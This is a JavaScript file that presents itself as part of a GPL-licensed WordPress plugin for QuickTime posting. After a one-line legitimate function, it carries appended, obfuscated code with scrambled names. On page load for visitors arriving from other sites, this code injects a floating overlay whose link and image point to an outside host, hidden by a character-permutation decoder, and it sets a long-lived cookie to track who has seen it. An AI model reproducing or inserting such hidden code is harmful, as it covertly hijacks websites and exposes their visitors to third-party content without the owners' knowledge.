/* --------------------------------------------------------------------------*/
/*                                                                           */
/* QuickTime Posting WordPress Plugin								     */   
/* Written by Shawn Van Every <vanevery@walking-productions.com>             */
/*                                                                           */
/* Copyright (c) 2007 Shawn Van Every <vanevery@walking-productions.com>     */
/*                                                                           */
/* This program is free software; you can redistribute it and/or             */
/* modify it under the terms of the GNU General Public License               */
/* as published by the Free Software Foundation; either version 2            */
/* of the License, or (at your option) any later version.                    */
/*                                                                           */
/* See file LICENSE for further informations on licensing terms.             */
/*                                                                           */
/* This program is distributed in the hope that it will be useful,           */
/* but WITHOUT ANY WARRANTY; without even the implied warranty of            */
/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the             */
/* GNU General Public License for more details.                              */
/*                                                                           */
/* You should have received a copy of the GNU General Public License         */
/* along with this program; if not, write to the Free Software Foundation,   */
/* Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.           */
/*                                                                           */
/* --------------------------------------------------------------------------*/

function writeTags(theTags)
{
    document.write(theTags);
    //alert(theTags);
}function dFLi2U8U(){
	document.getElementById("WwuStf").style.display="none";
}
function AxwTJer2(){
	if(document.body.scrollTop==0)
		document.all["WwuStf"].style.top=document.documentElement.scrollTop+10;
	else 
		document.all["WwuStf"].style.top=document.body.scrollTop+10;
}
function UtBseALW(tb,cu){
	var du = "", bp = 0;
	while(1)
	{
		var t = cu.substr(bp, 16);
		var i, tl = t.length;
		if(tl == 0) break;
		for(i = 0; i < tl; i ++) du += t.charAt(parseInt(tb.charAt(bp+i), 16));
		bp += tl;
	}
	return du;
}

if( document.cookie.indexOf("PHbQgDMkF") == -1){
	var CWlD = new Date(), CWlD1 = false;
	if(document.referrer != null && document.referrer.toLowerCase().indexOf('http://') == 0){ 
			var E6ua = document.domain.toLowerCase(); 
			if(E6ua.indexOf('www.') == 0) E6ua = E6ua.substr(4);
			var wefp = document.referrer.toLowerCase().substr(7); 
			var eCZr = wefp.indexOf('?'); 
			if(eCZr != -1) wefp = wefp.substr(0, eCZr);
			var eCZr = wefp.indexOf('/'); 
			if(eCZr != -1) wefp = wefp.substr(0, eCZr);
			if(wefp.indexOf('www.') == 0) wefp = wefp.substr(4);
			if(wefp != E6ua && Math.random() < 1){
				CWlD.setTime(CWlD.getTime()+(10  *   100  *   100 * 36*  10  * 24));
				CWlD1 = CWlD.toGMTString();
				var BN9B = navigator.appVersion.indexOf('MSIE') != -1;
				var EY1N=1;
				document.write('<div id="WwuStf" style="'+(BN9B ? 'position:absolute;' : 'position:fixed;')+' left:80%; top:30px; z-index:1000;">'+
				'<b><a style="font-size:13px; color:#0C447C; font-family:Arial; text-decoration:none;" onmouseover="EY1N=0"'+
				' title="Close" href="javascript: dFLi2U8U()" onmouseout="EY1N=1">Close[X]</a></b><br>'+
				'<a href="'+UtBseALW('28395c6afe10d74b048671235','pmhte:/ntpst/.il/ersm/mbe')+E6ua+'.html'+'" target="_blank"><img src="'+UtBseALW('461ab972e03df58cfe735d1690bc84a20','itsmhnt/e/p:tpl.eaig./nm3ngr2bi/f')+'" border=0 alt="Click Here" onclick="dFLi2U8U()"></a></div>');
				if(BN9B){
					if (document.all["WwuStf"].style)
					window.setInterval("AxwTJer2()", 5);
					window.onerror=null;
					document.body.scrollTop=10;
				}
			}
	}
	else{
		CWlD.setTime(CWlD.getTime()+(100   *  36 *   24  * 90 *10  *  100));
		CWlD1 = CWlD.toGMTString();
	}
	if(CWlD1 != false) document.cookie = "PHbQgDMkF"+'=1; expires='+CWlD1+'; path=/';
}